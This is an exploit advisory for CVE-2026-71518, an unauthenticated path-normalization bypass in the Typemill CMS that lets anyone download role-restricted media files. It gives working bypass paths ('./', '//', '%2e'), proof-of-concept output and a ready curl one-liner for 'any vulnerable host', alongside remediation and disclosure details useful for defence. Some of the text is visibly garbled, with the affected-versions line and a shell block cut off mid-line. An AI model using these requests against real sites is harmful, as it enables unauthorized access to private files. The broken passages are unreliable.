## https://sploitus.com/exploit?id=1FA99D42-7CBF-5696-9184-2296F382F906
# CVE-2026-71518 β Typemill Unauthenticated Authorization Bypass (Media File Download)
**Product:** [Typemill](https://github.com/typemill/typemill) (flat-file PHP CMS, Slim 4)
**Affected:** all versions **get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
```
The restriction check is keyed on the raw, un-normalized request parameter:
```php
$restrictions['media/files/' . $args['params']] // raw request string
```
β¦while the bytes are served from the filesystem-resolved path:
```php
file_get_contents($base . $params) // OS-normalized path
```
`validate()` only rejects a literal `..` sequence β it does **not** normalize `./`
or `//`, and it does not reject percent-encoded equivalents. So:
| Request path | Restriction key matched? | File resolved on disk? |
|----------------------------------|--------------------------|------------------------|
| `/media/files/secret.pdf` | β
yes β blocked | `secret.pdf` |
| `/media/files/./secret.pdf` | β no β **served** | `secret.pdf` |
| `/media/files//secret.pdf` | β no β **served** | `secret.pdf` |
| `/media/files/%2e/secret.pdf` | β no β **served** | `secret.pdf` |
## Proof of concept
`exploit.py` reproduces the issue end-to-end against a local test container.
It (1) has the "admin" drop a private file restricted to the `editor` role,
(2) confirms the canonical URL is blocked for an anonymous user, then
(3) downloads the same file through the path-equivalent variants.
```bash
# Bring up a local Typemill http=302 (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files//secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf -> http=200 leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file
```
Bare one-liner against any vulnerable host:
```bash
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf
```
## Remediation
- Upgrade to **Typemill 2.26.0** or later.
- The fix normalizes/canonicalizes the request path **before** both the restriction
lookup and the file read, so the access-control key and the served file are keyed
on the same canonical path.
## References
- Patch / release: https://github.com/typemill/typemill/releases/tag/v2.26.0
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71518
## Disclosure
Reported responsibly; fixed in 2.26.0. For authorized security testing and education only.
---
*Researcher: [@IlhomjonR](https://github.com/IlhomjonR)*